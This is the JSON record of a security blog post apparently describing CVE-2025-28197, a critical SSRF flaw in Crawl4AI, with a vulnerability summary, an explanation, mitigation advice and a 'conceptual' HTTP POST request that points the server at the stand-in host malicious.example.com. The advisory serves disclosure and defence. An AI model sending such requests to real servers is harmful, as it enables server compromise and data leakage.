{"id":31348,"date":"2025-04-25T19:22:16","date_gmt":"2025-04-25T19:22:16","guid":{"rendered":""},"modified":"2025-09-07T11:37:56","modified_gmt":"2025-09-07T17:37:56","slug":"cve-2025-28197-ssrf-vulnerability-in-crawl4ai-leading-to-potential-system-compromise","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28197-ssrf-vulnerability-in-crawl4ai-leading-to-potential-system-compromise\/","title":{"rendered":"<strong>CVE-2025-28197: SSRF Vulnerability in Crawl4AI leading to Potential System Compromise<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>As the cybersecurity landscape continues to evolve, new vulnerabilities are discovered that pose significant threats to systems worldwide. One such vulnerability is the CVE-2025-28197, a severe flaw identified in Crawl4AI versions up to and including 0.4.247. The vulnerability, which allows for Server Side Request Forgery (SSRF), gives attackers the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35766\">potential to compromise systems<\/a> or leak data. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30511-stored-xss-vulnerability-due-to-improper-sanitization-of-plant-name-input\/\"  data-wpil-monitor-id=\"35950\">vulnerability is particularly concerning due<\/a> to its high impact on systems and the widespread usage of Crawl4AI in various AI applications.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28197<br \/>\nSeverity: Critical (9.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29905-sql-injection-vulnerability-in-telecontrol-server-basic-potentially-compromising-entire-systems\/\"  data-wpil-monitor-id=\"38140\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3585390189\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Crawl4AI | <=0.4.247\n\n<strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/global-honeypot-creation-exploits-cisco-flaw-unmasking-the-vicioustrap-attack\/\"  data-wpil-monitor-id=\"51017\">exploit works by taking advantage of a flaw<\/a> in the \/crawl4ai\/async_dispatcher.py script. An attacker can manipulate the server into making <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4827-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"51018\">HTTP requests<\/a> to an arbitrary domain of their choice. If the server is configured to perform actions based on the response from these requests, the attacker can potentially gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30960-unauthorized-access-vulnerability-in-notfound-fs-poster\/\"  data-wpil-monitor-id=\"36359\">unauthorized access<\/a> or cause a leakage of sensitive data from the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Here is a conceptual example of an HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36043\">request that could potentially exploit this vulnerability<\/a>:<\/p><div id=\"ameeb-1952587095\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">POST \/crawl4ai\/async_dispatcher.py HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;url&quot;: &quot;http:\/\/malicious.example.com\/&quot;\n}<\/code><\/pre>\n<p>In this example, the attacker is sending a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26748-cross-site-request-forgery-vulnerability-in-loos-arkhe\/\"  data-wpil-monitor-id=\"36483\">request to the vulnerable<\/a> endpoint (`\/crawl4ai\/async_dispatcher.py`) with a JSON object containing a URL pointing to a malicious server. The server running Crawl4AI would then unwittingly make a request to the malicious server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4372-webaudio-heap-corruption-in-google-chrome-a-potential-gateway-to-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"43767\">potentially executing unwanted actions or exposing sensitive data<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The primary mitigation against this vulnerability is to apply the vendor-provided patch. It is crucial to ensure that the Crawl4AI version is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2817-system-level-updater-vulnerability-in-thunderbird-s-update-mechanism\/\"  data-wpil-monitor-id=\"41086\">updated to a version that has addressed this SSRF vulnerability<\/a>. In situations where applying the patch is not immediately feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure can help protect against <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"79922\">potential exploitation<\/a>. However, these are just temporary solutions and the vendor patch should be applied as soon as possible to fully mitigate the risk.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview As the cybersecurity landscape continues to evolve, new vulnerabilities are discovered that pose significant threats to systems worldwide. One such vulnerability is the CVE-2025-28197, a severe flaw identified in Crawl4AI versions up to and including 0.4.247. The vulnerability, which allows for Server Side Request Forgery (SSRF), gives attackers the potential to compromise systems or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[101],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-31348","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-ssrf"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=31348"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31348\/revisions"}],"predecessor-version":[{"id":72356,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31348\/revisions\/72356"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=31348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=31348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=31348"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=31348"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=31348"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=31348"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=31348"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=31348"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=31348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}